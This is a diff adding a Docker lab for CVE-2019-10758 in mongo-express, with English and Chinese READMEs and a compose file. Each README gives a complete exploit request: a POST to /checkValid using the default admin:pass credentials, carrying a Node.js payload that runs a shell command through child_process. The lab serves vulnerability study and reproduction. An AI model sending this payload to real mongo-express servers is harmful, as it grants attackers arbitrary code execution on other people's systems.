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mongo-express/CVE-2019-10758/README.md

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+# Mongo Express Remote Code Execution (CVE-2019-10758)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+mongo-express is a third-party Web interface for MongoDB, developed using Node.js and Express. If an attacker can successfully log in, or if the target server hasn't changed the default credentials (`admin:pass`), they can execute arbitrary Node.js code.
+
+## Environment Setup
+
+Execute the following command to start mongo-express version 0.53.0:
+
+```bash
+docker compose up -d
+```
+
+After the environment starts, visit `http://your-ip:8081` to access the Web interface.
+
+## Vulnerability Reproduction
+
+Send the following HTTP request to execute the code `this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")`:
+
+```
+POST /checkValid HTTP/1.1
+Host: your-ip
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Authorization: Basic YWRtaW46cGFzcw==
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 124
+
+document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
+```
+
+As you can see, the `touch /tmp/success` command has been executed successfully:
+
+![](1.png)

mongo-express/CVE-2019-10758/README.zh-cn.md

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+# Mongo Express 远程代码执行漏洞（CVE-2019-10758）
+
+mongo-express是一款mongodb的第三方Web界面，使用node和express开发。如果攻击者可以成功登录，或者目标服务器没有修改默认的账号密码（`admin:pass`），则可以执行任意node.js代码。
+
+## 漏洞环境
+
+执行如下命令启动一个0.53.0版本的mongo-express：
+
+```bash
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:8081`即可查看到Web页面。
+
+## 漏洞复现
+
+直接发送如下数据包，即可执行代码`this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")`：
+
+```
+POST /checkValid HTTP/1.1
+Host: your-ip
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Authorization: Basic YWRtaW46cGFzcw==
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 124
+
+document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
+```
+
+![](1.png)

mongo-express/CVE-2019-10758/docker-compose.yml

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+services:
+  web:
+    image: vulhub/mongo-express:0.53.0
+    depends_on:
+      - mongo
+    ports:
+      - "8081:8081"
+  mongo:
+    image: mongo:3.4